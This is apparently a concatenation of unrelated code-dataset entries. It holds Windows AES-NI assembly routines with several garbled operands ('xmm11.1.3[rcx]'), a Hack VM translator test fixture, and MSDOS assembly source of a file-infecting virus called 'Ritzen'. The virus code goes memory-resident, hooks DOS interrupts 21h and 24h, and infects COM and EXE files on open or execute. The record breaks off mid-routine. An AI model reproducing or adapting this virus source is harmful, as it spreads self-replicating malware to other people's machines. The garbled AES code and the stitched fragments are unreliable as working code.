rsi,rdx mov rdx,r8 mov rcx,r9 mov r8d,[rsp+40] ; on microsoft xmm6-xmm15 are non volaitle, let's save on stack and restore at end sub rsp,8+4*16 ; 8 = align stack , 4 xmm9-12, 16 bytes each movdqa [rsp+0], xmm9 movdqa [rsp+16], xmm10 movdqa [rsp+32], xmm11 movdqa [rsp+48], xmm12 mov r10,rdx shr rdx,4 shl r10,60 je EECB_NO_PARTS_4 add rdx,1 EECB_NO_PARTS_4: mov r10,rdx shl r10,62 shr r10,62 shr rdx,2 je EECB_REMAINDER_4 sub rsi,64 EECB_LOOP_4: movdqu xmm1,[rdi] movdqu xmm2,16[rdi] movdqu xmm3,32[rdi] movdqu xmm4,48[rdi] movdqa xmm9,[rcx] movdqa xmm10,16[rcx] movdqa xmm11,32[rcx] movdqa xmm12,48[rcx] pxor xmm1,xmm9 pxor xmm2,xmm9 pxor xmm3,xmm9 pxor xmm4,xmm9 aesenc xmm1,xmm10 aesenc xmm2,xmm10 aesenc xmm3,xmm10 aesenc xmm4,xmm10 aesenc xmm1,xmm11 aesenc xmm2,xmm11 aesenc xmm3,xmm11 aesenc xmm4,xmm11 aesenc xmm1,xmm12 aesenc xmm2,xmm12 aesenc xmm3,xmm12 aesenc xmm4,xmm12 movdqa xmm9,64[rcx] movdqa xmm10,80[rcx] movdqa xmm11,96[rcx] movdqa xmm12,112[rcx] aesenc xmm1,xmm9 aesenc xmm2,xmm9 aesenc xmm3,xmm9 aesenc xmm4,xmm9 aesenc xmm1,xmm10 aesenc xmm2,xmm10 aesenc xmm3,xmm10 aesenc xmm4,xmm10 aesenc xmm1,xmm11 aesenc xmm2,xmm11 aesenc xmm3,xmm11 aesenc xmm4,xmm11 aesenc xmm1,xmm12 aesenc xmm2,xmm12 aesenc xmm3,xmm12 aesenc xmm4,xmm12 movdqa xmm9,128[rcx] movdqa xmm10,144[rcx] movdqa xmm11,160[rcx] cmp r8d,12 aesenc xmm1,xmm9 aesenc xmm2,xmm9 aesenc xmm3,xmm9 aesenc xmm4,xmm9 aesenc xmm1,xmm10 aesenc xmm2,xmm10 aesenc xmm3,xmm10 aesenc xmm4,xmm10 jb EECB_LAST_4 movdqa xmm9,160[rcx] movdqa xmm10,176[rcx] movdqa xmm11.1.3[rcx] cmp r8d,14 aesenc xmm1,xmm9 aesenc xmm2,xmm9 aesenc xmm3,xmm9 aesenc xmm4,xmm9 aesenc xmm1,xmm10 aesenc xmm2,xmm10 aesenc xmm3,xmm10 aesenc xmm4,xmm10 jb EECB_LAST_4 movdqa xmm9,192[rcx] movdqa xmm10,208[rcx] movdqa xmm11,224[rcx] aesenc xmm1,xmm9 aesenc xmm2,xmm9 aesenc xmm3,xmm9 aesenc xmm4,xmm9 aesenc xmm1,xmm10 aesenc xmm2,xmm10 aesenc xmm3,xmm10 aesenc xmm4,xmm10 EECB_LAST_4: add rdi,64 add rsi,64 dec rdx aesenclast xmm1,xmm11 aesenclast xmm2,xmm11 aesenclast xmm3,xmm11 aesenclast xmm4,xmm11 movdqu [rsi],xmm1 movdqu 16[rsi],xmm2 movdqu 32[rsi],xmm3 movdqu 48[rsi],xmm4 jne EECB_LOOP_4 add rsi,64 EECB_REMAINDER_4: cmp r10,0 je EECB_END_4 EECB_LOOP_4_2: movdqu xmm1,[rdi] add rdi,16 pxor xmm1,[rcx] movdqu xmm2,160[rcx] aesenc xmm1,16[rcx] aesenc xmm1,32[rcx] aesenc xmm1,48[rcx] aesenc xmm1,64[rcx] aesenc xmm1,80[rcx] aesenc xmm1,96[rcx] aesenc xmm1.1.3[rcx] aesenc xmm1,128[rcx] aesenc xmm1,144[rcx] cmp r8d,12 jb EECB_LAST_4_2 movdqu xmm2,192[rcx] aesenc xmm1,160[rcx] aesenc xmm1,176[rcx] cmp r8d,14 jb EECB_LAST_4_2 movdqu xmm2,224[rcx] aesenc xmm1.1.3[rcx] aesenc xmm1,208[rcx] EECB_LAST_4_2: aesenclast xmm1,xmm2 movdqu [rsi],xmm1 add rsi,16 dec r10 jne EECB_LOOP_4_2 EECB_END_4: ; restore non volatile rdi,rsi mov rdi,rax mov rsi,r11 ; restore non volatile xmms from stack movdqa xmm9, [rsp+0] movdqa xmm10, [rsp+16] movdqa xmm11, [rsp+32] movdqa xmm12, [rsp+48] add rsp,8+4*16 ; 8 = align stack , 4 xmm9-12 16 bytes each ret AES_ECB_encrypt ENDP ; /* ; AES_ECB_decrypt[const ,unsigned char*in ; unsigned ,char*out ; unsigned ,long length ; const ,unsigned char*KS ; int nr] ; */ ; . globl AES_ECB_decrypt AES_ECB_decrypt PROC ;# parameter 1: rdi ;# parameter 2: rsi ;# parameter 3: rdx ;# parameter 4: rcx ;# parameter 5: r8d ; save rdi and rsi to rax and r11, restore before ret mov rax,rdi mov r11,rsi ; convert to what we had for att&t convention mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8d,[rsp+40] ; on microsoft xmm6-xmm15 are non volaitle, let's save on stack and restore at end sub rsp,8+4*16 ; 8 = align stack , 4 xmm9-12, 16 bytes each movdqa [rsp+0], xmm9 movdqa [rsp+16], xmm10 movdqa [rsp+32], xmm11 movdqa [rsp+48], xmm12 mov r10,rdx shr rdx,4 shl r10,60 je DECB_NO_PARTS_4 add rdx,1 DECB_NO_PARTS_4: mov r10,rdx shl r10,62 shr r10,62 shr rdx,2 je DECB_REMAINDER_4 sub rsi,64 DECB_LOOP_4: movdqu xmm1,[rdi] movdqu xmm2,16[rdi] movdqu xmm3,32[rdi] movdqu xmm4,48[rdi] movdqa xmm9,[rcx] movdqa xmm10,16[rcx] movdqa xmm11,32[rcx] movdqa xmm12,48[rcx] pxor xmm1,xmm9 pxor xmm2,xmm9 pxor xmm3,xmm9 pxor xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 aesdec xmm1,xmm11 aesdec xmm2,xmm11 aesdec xmm3,xmm11 aesdec xmm4,xmm11 aesdec xmm1,xmm12 aesdec xmm2,xmm12 aesdec xmm3,xmm12 aesdec xmm4,xmm12 movdqa xmm9,64[rcx] movdqa xmm10,80[rcx] movdqa xmm11,96[rcx] movdqa xmm12,112[rcx] aesdec xmm1,xmm9 aesdec xmm2,xmm9 aesdec xmm3,xmm9 aesdec xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 aesdec xmm1,xmm11 aesdec xmm2,xmm11 aesdec xmm3,xmm11 aesdec xmm4,xmm11 aesdec xmm1,xmm12 aesdec xmm2,xmm12 aesdec xmm3,xmm12 aesdec xmm4,xmm12 movdqa xmm9,128[rcx] movdqa xmm10,144[rcx] movdqa xmm11,160[rcx] cmp r8d,12 aesdec xmm1,xmm9 aesdec xmm2,xmm9 aesdec xmm3,xmm9 aesdec xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 jb DECB_LAST_4 movdqa xmm9,160[rcx] movdqa xmm10,176[rcx] movdqa xmm11.1.3[rcx] cmp r8d,14 aesdec xmm1,xmm9 aesdec xmm2,xmm9 aesdec xmm3,xmm9 aesdec xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 jb DECB_LAST_4 movdqa xmm9,192[rcx] movdqa xmm10,208[rcx] movdqa xmm11,224[rcx] aesdec xmm1,xmm9 aesdec xmm2,xmm9 aesdec xmm3,xmm9 aesdec xmm4,xmm9 aesdec xmm1,xmm10 aesdec xmm2,xmm10 aesdec xmm3,xmm10 aesdec xmm4,xmm10 DECB_LAST_4: add rdi,64 add rsi,64 dec rdx aesdeclast xmm1,xmm11 aesdeclast xmm2,xmm11 aesdeclast xmm3,xmm11 aesdeclast xmm4,xmm11 movdqu [rsi],xmm1 movdqu 16[rsi],xmm2 movdqu 32[rsi],xmm3 movdqu 48[rsi],xmm4 jne DECB_LOOP_4 add rsi,64 DECB_REMAINDER_4: cmp r10,0 je DECB_END_4 DECB_LOOP_4_2: movdqu xmm1,[rdi] add rdi,16 pxor xmm1,[rcx] movdqu xmm2,160[rcx] cmp r8d,12 aesdec xmm1,16[rcx] aesdec xmm1,32[rcx] aesdec xmm1,48[rcx] aesdec xmm1,64[rcx] aesdec xmm1,80[rcx] aesdec xmm1,96[rcx] aesdec xmm1.1.3[rcx] aesdec xmm1,128[rcx] aesdec xmm1,144[rcx] jb DECB_LAST_4_2 cmp r8d,14 movdqu xmm2,192[rcx] aesdec xmm1,160[rcx] aesdec xmm1,176[rcx] jb DECB_LAST_4_2 movdqu xmm2,224[rcx] aesdec xmm1.1.3[rcx] aesdec xmm1,208[rcx] DECB_LAST_4_2: aesdeclast xmm1,xmm2 movdqu [rsi],xmm1 add rsi,16 dec r10 jne DECB_LOOP_4_2 DECB_END_4: ; restore non volatile rdi,rsi mov rdi,rax mov rsi,r11 ; restore non volatile xmms from stack movdqa xmm9, [rsp+0] movdqa xmm10, [rsp+16] movdqa xmm11, [rsp+32] movdqa xmm12, [rsp+48] add rsp,8+4*16 ; 8 = align stack , 4 xmm9-12 16 bytes each ret AES_ECB_decrypt ENDP ; /* ; void ,AES_128_Key_Expansion[const unsigned char*userkey ; unsigned char*key_schedule]/ ; */ ; . align 16,0x90 ; . globl AES_128_Key_Expansion AES_128_Key_Expansion PROC ;# parameter 1: rdi ;# parameter 2: rsi ; save rdi and rsi to rax and r11, restore before ret mov rax,rdi mov r11,rsi ; convert to what we had for att&t convention mov rdi,rcx mov rsi,rdx mov dword ptr 240[rsi],10 movdqu xmm1,[rdi] movdqa [rsi],xmm1 ASSISTS: aeskeygenassist xmm2,xmm1,1 call PREPARE_ROUNDKEY_128 movdqa 16[rsi],xmm1 aeskeygenassist xmm2,xmm1,2 call PREPARE_ROUNDKEY_128 movdqa 32[rsi],xmm1 aeskeygenassist xmm2,xmm1,4 call PREPARE_ROUNDKEY_128 movdqa 48[rsi],xmm1 aeskeygenassist xmm2,xmm1,8 call PREPARE_ROUNDKEY_128 movdqa 64[rsi],xmm1 aeskeygenassist xmm2,xmm1,16 call PREPARE_ROUNDKEY_128 movdqa 80[rsi],xmm1 aeskeygenassist xmm2,xmm1,32 call PREPARE_ROUNDKEY_128 movdqa 96[rsi],xmm1 aeskeygenassist xmm2,xmm1,64 call PREPARE_ROUNDKEY_128 movdqa 112[rsi],xmm1 aeskeygenassist xmm2,xmm1,80h call PREPARE_ROUNDKEY_128 movdqa 128[rsi],xmm1 aeskeygenassist xmm2,xmm1,1bh call PREPARE_ROUNDKEY_128 movdqa 144[rsi],xmm1 aeskeygenassist xmm2,xmm1,36h call PREPARE_ROUNDKEY_128 movdqa 160[rsi],xmm1 ; restore non volatile rdi,rsi mov rdi,rax mov rsi,r11 ret PREPARE_ROUNDKEY_128: pshufd xmm2,xmm2,255 movdqa xmm3,xmm1 pslldq xmm3,4 pxor xmm1,xmm3 pslldq xmm3,4 pxor xmm1,xmm3 pslldq xmm3,4 pxor xmm1,xmm3 pxor xmm1,xmm2 ret AES_128_Key_Expansion ENDP ; /* ; void ,AES_192_Key_Expansion[const unsigned char*userkey ; unsigned char*key] ; */ ; . globl AES_192_Key_Expansion AES_192_Key_Expansion PROC ;# parameter 1: rdi ;# parameter 2: rsi ; save rdi and rsi to rax and r11, restore before ret mov rax,rdi mov r11,rsi ; convert to what we had for att&t convention mov rdi,rcx mov rsi,rdx ; on microsoft xmm6-xmm15 are non volaitle, let's save on stack and restore at end sub rsp,8+1*16 ; 8 = align stack , 1 xmm6, 16 bytes each movdqa [rsp+0], xmm6 movdqu xmm1,[rdi] movdqu xmm3,16[rdi] movdqa [rsi],xmm1 movdqa xmm5,xmm3 aeskeygenassist xmm2,xmm3,1h call PREPARE_ROUNDKEY_192 shufpd xmm5,xmm1,0 movdqa 16[rsi],xmm5 movdqa xmm6,xmm1 shufpd xmm6,xmm3,1 movdqa 32[rsi],xmm6 aeskeygenassist xmm2,xmm3,2h call PREPARE_ROUNDKEY_192 movdqa 48[rsi],xmm1 movdqa xmm5,xmm3 aeskeygenassist xmm2,xmm3,4h call PREPARE_ROUNDKEY_192 shufpd xmm5,xmm1,0 movdqa 64[rsi],xmm5 movdqa xmm6,xmm1 shufpd xmm6,xmm3,1 movdqa 80[rsi],xmm6 aeskeygenassist xmm2,xmm3,8h call PREPARE_ROUNDKEY_192 movdqa 96[rsi],xmm1 movdqa xmm5,xmm3 aeskeygenassist xmm2,xmm3,10h call PREPARE_ROUNDKEY_192 shufpd xmm5,xmm1,0 movdqa 112[rsi],xmm5 movdqa xmm6,xmm1 shufpd xmm6,xmm3,1 movdqa 128[rsi],xmm6 aeskeygenassist xmm2,xmm3,20h call PREPARE_ROUNDKEY_192 movdqa 144[rsi],xmm1 movdqa xmm5,xmm3 aeskeygenassist xmm2,xmm3,40h call PREPARE_ROUNDKEY_192 shufpd xmm5,xmm1,0 movdqa 160[rsi],xmm5 movdqa xmm6,xmm1 shufpd xmm6,xmm3,1 movdqa 176[rsi],xmm6 aeskeygenassist xmm2,xmm3,80h call PREPARE_ROUNDKEY_192 movdqa 192[rsi],xmm1 movdqa 208[rsi],xmm3 ; restore non volatile rdi,rsi mov rdi,rax mov rsi,r11 ; restore non volatile xmms from stack movdqa xmm6, [rsp+0] add rsp,8+1*16 ; 8 = align stack , 1 xmm6 16 bytes each ret PREPARE_ROUNDKEY_192: pshufd xmm2,xmm2,55h movdqu xmm4,xmm1 pslldq xmm4,4 pxor xmm1,xmm4 pslldq xmm4,4 pxor xmm1,xmm4 pslldq xmm4,4 pxor xmm1,xmm4 pxor xmm1,xmm2 pshufd xmm2,xmm1,0ffh movdqu xmm4,xmm3 pslldq xmm4,4 pxor xmm3,xmm4 pxor xmm3,xmm2 ret AES_192_Key_Expansion ENDP ; /* ; void ,AES_256_Key_Expansion[const unsigned char*userkey ; unsigned char*key] ; */ ; . globl AES_256_Key_Expansion AES_256_Key_Expansion PROC ;# parameter 1: rdi ;# parameter 2: rsi ; save rdi and rsi to rax and r11, restore before ret mov rax,rdi mov r11,rsi ; convert to what we had for att&t convention mov rdi,rcx mov rsi,rdx movdqu xmm1,[rdi] movdqu xmm3,16[rdi] movdqa [rsi],xmm1 movdqa 16[rsi],xmm3 aeskeygenassist xmm2,xmm3,1h call MAKE_RK256_a movdqa 32[rsi],xmm1 aeskeygenassist xmm2,xmm1,0h call MAKE_RK256_b movdqa 48[rsi],xmm3 aeskeygenassist xmm2,xmm3,2h call MAKE_RK256_a movdqa 64[rsi],xmm1 aeskeygenassist xmm2,xmm1,0h call MAKE_RK256_b movdqa 80[rsi],xmm3 aeskeygenassist xmm2,xmm3,4h call MAKE_RK256_a movdqa 96[rsi],xmm1 aeskeygenassist xmm2,xmm1,0h call MAKE_RK256_b movdqa 112[rsi],xmm3 aeskeygenassist xmm2,xmm3,8h call MAKE_RK256_a movdqa 128[rsi],xmm1 aeskeygenassist xmm2,xmm1,0h call MAKE_RK256_b movdqa 144[rsi],xmm3 aeskeygenassist xmm2,xmm3,10h call MAKE_RK256_a movdqa 160[rsi],xmm1 aeskeygenassist xmm2,xmm1,0h call MAKE_RK256_b movdqa 176[rsi],xmm3 aeskeygenassist xmm2,xmm3,20h call MAKE_RK256_a movdqa 192[rsi],xmm1 aeskeygenassist xmm2,xmm1,0h call MAKE_RK256_b movdqa 208[rsi],xmm3 aeskeygenassist xmm2,xmm3,40h call MAKE_RK256_a movdqa 224[rsi],xmm1 ; restore non volatile rdi,rsi mov rdi,rax mov rsi,r11 ret AES_256_Key_Expansion ENDP MAKE_RK256_a: pshufd xmm2,xmm2,0ffh movdqa xmm4,xmm1 pslldq xmm4,4 pxor xmm1,xmm4 pslldq xmm4,4 pxor xmm1,xmm4 pslldq xmm4,4 pxor xmm1,xmm4 pxor xmm1,xmm2 ret MAKE_RK256_b: pshufd xmm2,xmm2,0aah movdqa xmm4,xmm3 pslldq xmm4,4 pxor xmm3,xmm4 pslldq xmm4,4 pxor xmm3,xmm4 pslldq xmm4,4 pxor xmm3,xmm4 pxor xmm3,xmm2 ret END
20.358684
83
0.705235
0b7135c5bbad5a9f915ad64ea692feb552d1e92a
16,975
asm
Assembly
src/VMTranslator/fixtures/StackArithmetic/StackTest/StackTest.raw.asm
tuzmusic/HackManager
5c47e5541cb7372315355d9799f04fc0235a549d
[ "MIT" ]
1
2021-05-17T19:50:24.000Z
2021-05-17T19:50:24.000Z
src/VMTranslator/fixtures/StackArithmetic/StackTest/StackTest.raw.asm
tuzmusic/HackManager
5c47e5541cb7372315355d9799f04fc0235a549d
[ "MIT" ]
null
null
null
src/VMTranslator/fixtures/StackArithmetic/StackTest/StackTest.raw.asm
tuzmusic/HackManager
5c47e5541cb7372315355d9799f04fc0235a549d
[ "MIT" ]
null
null
null
@17 // ** 1: push constant 17 ** D=A // store the current address as a value @SP // >> push constant value (17) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @17 // ** 2: push constant 17 ** D=A // store the current address as a value @SP // >> push constant value (17) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 3: eq ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_0 D;JEQ // perform comparison: eq @SP A=M // move to top of stack M=0 @END_IF_0 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @17 // ** 4: push constant 17 ** D=A // store the current address as a value @SP // >> push constant value (17) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @16 // ** 5: push constant 16 ** D=A // store the current address as a value @SP // >> push constant value (16) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 6: eq ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_1 D;JEQ // perform comparison: eq @SP A=M // move to top of stack M=0 @END_IF_1 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @16 // ** 7: push constant 16 ** D=A // store the current address as a value @SP // >> push constant value (16) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @17 // ** 8: push constant 17 ** D=A // store the current address as a value @SP // >> push constant value (17) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 9: eq ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_2 D;JEQ // perform comparison: eq @SP A=M // move to top of stack M=0 @END_IF_2 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @892 // ** 10: push constant 892 ** D=A // store the current address as a value @SP // >> push constant value (892) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @891 // ** 11: push constant 891 ** D=A // store the current address as a value @SP // >> push constant value (891) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 12: lt ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_3 D;JLT // perform comparison: lt @SP A=M // move to top of stack M=0 @END_IF_3 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @891 // ** 13: push constant 891 ** D=A // store the current address as a value @SP // >> push constant value (891) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @892 // ** 14: push constant 892 ** D=A // store the current address as a value @SP // >> push constant value (892) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 15: lt ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_4 D;JLT // perform comparison: lt @SP A=M // move to top of stack M=0 @END_IF_4 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @891 // ** 16: push constant 891 ** D=A // store the current address as a value @SP // >> push constant value (891) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @891 // ** 17: push constant 891 ** D=A // store the current address as a value @SP // >> push constant value (891) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 18: lt ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_5 D;JLT // perform comparison: lt @SP A=M // move to top of stack M=0 @END_IF_5 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @32767 // ** 19: push constant 32767 ** D=A // store the current address as a value @SP // >> push constant value (32767) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @32766 // ** 20: push constant 32766 ** D=A // store the current address as a value @SP // >> push constant value (32766) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 21: gt ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_6 D;JGT // perform comparison: gt @SP A=M // move to top of stack M=0 @END_IF_6 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @32766 // ** 22: push constant 32766 ** D=A // store the current address as a value @SP // >> push constant value (32766) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @32767 // ** 23: push constant 32767 ** D=A // store the current address as a value @SP // >> push constant value (32767) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 24: gt ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_7 D;JGT // perform comparison: gt @SP A=M // move to top of stack M=0 @END_IF_7 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @32766 // ** 25: push constant 32766 ** D=A // store the current address as a value @SP // >> push constant value (32766) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @32766 // ** 26: push constant 32766 ** D=A // store the current address as a value @SP // >> push constant value (32766) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 27: gt ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) D=M-D // store X-Y in D for comparison @IF_TRUE_8 D;JGT // perform comparison: gt @SP A=M // move to top of stack M=0 @END_IF_8 0;JMP @SP A=M // move to top of stack M=-1 @SP // increment stack pointer M=M+1 - @57 // ** 28: push constant 57 ** D=A // store the current address as a value @SP // >> push constant value (57) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @31 // ** 29: push constant 31 ** D=A // store the current address as a value @SP // >> push constant value (31) onto stack << A=M // move to top of stack M=D // write value of D to current location @SP // increment stack pointer M=M+1 - @53 // ** 30: push constant 53 ** D=A // store the current address as a value @SP // >> push constant value (53) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 31: add ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) M=M+D // perform binary operation: add @SP // increment stack pointer M=M+1 - @112 // ** 32: push constant 112 ** D=A // store the current address as a value @SP // >> push constant value (112) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 33: sub ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) M=M-D // perform binary operation: sub - @SP // ** 34: neg ** ("pop" X (SP decremented above)) A=M // PREPARE X (prep X "into" M) M=-M // perform unary operation: neg - @SP // ** 35: and ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) M=D&M // perform binary operation: and @SP // increment stack pointer M=M+1 - @82 // ** 36: push constant 82 ** D=A // store the current address as a value @SP // >> push constant value (82) onto stack << A=M // move to top of stack M=D // write value of D to current location - @SP // ** 37: or ** (PREPARE Y (pop Y into D) (SP decremented above)) A=M // move to top of stack D=M // store the top stack value into D @SP // "pop" X M=M-1 A=M // PREPARE X (prep X "into" M) M=M|D // perform binary operation: or - @SP // ** 38: not ** ("pop" X (SP decremented above)) A=M // PREPARE X (prep X "into" M) M=!M // perform unary operation: not @SP // increment stack pointer
48.919308
183
0.379912
78afa699d43847f3a5ec50aef114a894498ad313
8,806
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.ritzen.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.ritzen.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.ritzen.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
;***************************************************************************** ;* * ;* The Ritzen Virus * ;* * ;* (c) '93, by S.A.R. (Students Agains Ritzen) / TridenT * ;* * ;***************************************************************************** .model tiny .radix 16 .code len equ offset last - atlantic len_para equ len /10h mem_size equ 60h org 100h dummy: db 0e9h,00h,00h ; dummy file, ; contains jump to ; virus code. atlantic: call get_ip sub bp,offset atlantic+3 rest_host: push ds pop ax mov cs:[segm+bp],ax cmp cs:[type_host+bp],'E' ; check if host je fix_exe ; is COM or EXE. fix_com: lea si,cs:[com_start+bp] ; fix start of mov ax,es inc ax mov es,ax mov di,00F0h ; com host with mov cx,03h ; original data. rep movsb mov ax,es dec ax mov es,ax mov ax,0100h ; IP start at 0100h. push cs ; store segment+IP push ax ; on stack. jmp chk_resident fix_exe: mov ax,cs:[exe_cs+bp] ; CS and IP on stack mov bx,ax mov ax,ds add ax,bx add ax,10h push ax mov bx,cs:[exe_ip+bp] push bx chk_resident: mov dx,0aaaah mov ax,3000h int 21h cmp dx,0bbbbh je end_install mem_install: push ds ; let DS points push ds pop ax ; to MCB dec ax ; 2 times to fool dec ax ; heuristic scanners push ax pop ds cmp byte ptr ds:[0010],5ah ; last MCB? jne abort_install ; if no, quit. mov ax,ds:[0013] ; adjust memory sub ax,mem_size ; size. mov ds:[0013],ax ; store size in MCB. pop ds ; restore original ; DS segment. sub word ptr ds:[0002],mem_size ; don't forget to ; adjust memory ; size stored in ; PSP to. vir_install: xchg ax,bx ; install virus mov ax,es add ax,bx ; AX = virussegment mov es,ax mov cs:[vir_seg+bp],ax push cs pop ds lea si,[atlantic+bp] ; copy virus to lea di,es:0103h ; memory mov cx,len copy: movsb dec cx jnz copy push ds pop es hook_i21h: cli mov ax,3521h int 21h mov ds,cs:[vir_seg+bp] mov [i21h],bx mov [i21h+2],es ; mov dx, offset ds:[mine_i21h] ; mov ax,2521h ; int 21h mov ax,ds mov bx,ax mov dx, offset ds:[mine_i21h] xor ax,ax mov ds,ax mov ds:[4*21h],dx mov ds:[4*21h+2],bx sti abort_install: mov ax,cs:[segm+bp] push ax pop es push es pop ds end_install: retf ;************************************************************************* ;* * ;* I N T E R U P T H A N D L E R * ;* * ;************************************************************************* mine_i24h: mov al,03h iret mine_i21h: pushf ; check for cmp ax,3000h ; virus ID jne new_21h cmp dx,0aaaah jne new_21h mov dx,0bbbbh ; return ID popf iret new_21h: push ax ; save registers push bx push cx push dx push ds push es push di push si chk_open: xchg ax,bx cmp bh,3dh ; open file? je chk_com chk_exec: cmp bx,04b00h ; execute file? je chk_com continu: pop si ; restore registers pop di pop es pop ds pop dx pop cx pop bx pop ax next: popf ; call original jmp dword ptr cs:[i21h] ; interupt ;************************************************************************** ;* * ;* C H E C K C O M / E X E F I L E * ;* * ;************************************************************************** chk_com: mov cs:[name_seg],ds mov cs:[name_off],dx cld mov cx,0ffh push ds pop es push dx pop di mov al,'.' repne scasb cmp word ptr es:[di],'OC' jne chk_exe cmp word ptr es:[di+2],'M' jne continu jmp infect_com chk_exe: cmp word ptr es:[di],'XE' jne continu cmp word ptr es:[di+2],'E' jne continu jmp infect_exe ;************************************************************************** ;* * ;* I N F E C T C O M - F I L E * ;* * ;************************************************************************** infect_com: call init cmp cs:[fout],0ffh je close_file mov cs:[type_host],'C' mov ax,4200h ; go to start of file call mov_point mov cx,03h mov ah,3fh lea dx,cs:[com_start] call do_int21h mov ax,4200h call mov_point mov ax,4202h call mov_point sub ax,03h mov cs:[lenght_file],ax call write_jmp call write_vir call save_date close_file: mov bx,cs:[handle] mov ah,3eh call do_int21h restore_int24h: mov dx,cs:[i24h] mov ds,cs:[i24h+2] mov ax,2524h call do_int21h jmp continu ;************************************************************************** ;* * ;* I N F E C T E X E - F I L E * ;* * ;************************************************************************** infect_exe: call init cmp cs:[fout],0ffh je close_file mov cs:[type_host],'E' mov ax,4200h call mov_point mov 